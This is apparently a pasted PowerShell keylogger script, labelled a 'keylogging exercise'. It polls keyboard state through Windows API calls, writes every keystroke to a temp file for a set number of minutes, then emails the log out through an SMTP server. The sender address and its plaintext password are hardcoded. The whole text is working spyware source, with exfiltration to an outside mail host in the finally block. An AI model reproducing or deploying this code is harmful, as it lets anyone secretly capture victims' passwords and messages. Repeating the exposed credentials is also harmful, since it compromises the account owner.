· 6 years ago · Feb 07, 2020, 08:04 PM
1############################ Edit this section
2$TimeToRun = 2
3$From = "bdw3@live.com"
4$Pass = "Fast01!teks!"
5$To = "bdw3@live.com"
6$Subject = "Keylogging Exercise"
7$body = "Keylogging First Time Run"
8$SMTPServer = "smtp.mail.com"
9$SMTPPort = "587"
10$credentials = New-Object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11############################
12
13$TimeStart = Get-Date
14$TimeEnd = $TimeStart.AddMinutes($TimeToRun)
15
16# requires version 2
17function Start-KeyLogger($Path="$env:temp\keylogger.txt")
18{
19 # Signatures for API calls
20 $signatures = @'
21[DllImport("user32.dll", CharSet=Charset.Auto, ExactSpelling=true)]
22public static extern short GetAsyncKeyState(int virtualKeyCode);
23[DllImport("user32.dll", CharSet=CharSet.Auto)]
24public static extern int GetKeyboardState (byte[] keystate);
25[DllImport("user32.dll", CharSet=CharSet.Auto)]
26public static extern int MapVirtualKey(uint uCode, int uMapType);
27[DllImport("user32.dll", CharSet=CharSet.Auto)]
28public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
29'@
30
31 # load signatures and make members available
32 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
33
34 # create the output file
35 $null = New-Item -Path $Path -ItemType File -Force
36
37 try
38 {
39
40 # create endless loop until user presses CTRL-C
41 # executes and shows key presses
42 while ($TimeEnd -ge $TimeNow) {
43 Start-Sleep -Milliseconds 40
44
45 # scan all ASCII codes above 8
46 for ($ascii = 9; $ascii -le 254; $ascii++) {
47 # get current key state
48 $state = $API::GetAsyncKeyState($ascii)
49
50 # if key pressed
51 if ($state -eq -32767) {
52 $null = [console]::CapsLock
53
54 # translate scan code to real code
55 $virtualKey = $API::MapVirtualKey($ascii, 3)
56
57 #get keyboard state for virtual keys
58 $kbstate = New-Object Byte[] 256
59 $checkkbstate = $API::GetKeyboardState($kbstate)
60
61 # prepare a StringBuilder to receive input key
62 $mychar = New-Object -TypeName System.Text.StringBuilder
63
64 # translate virtual key
65 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
66
67 if ($success)
68 {
69 # add key to logger file
70 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
71 }
72 }
73 }
74 $TimeNow = Get-Date
75 }
76 }
77 finally
78 {
79 # open logger file in Notepad
80 send-mailmessage -from $From -to $To -subject $Subject -body $body -Attachment $Path -smtpServer $SMTPServer -port $SMTPPort -credential $credentials -usessl
81 }
82}
83
84# records all key presses until script is aborted with CTRL-C
85# will then open file with collected keys
86Start-KeyLogger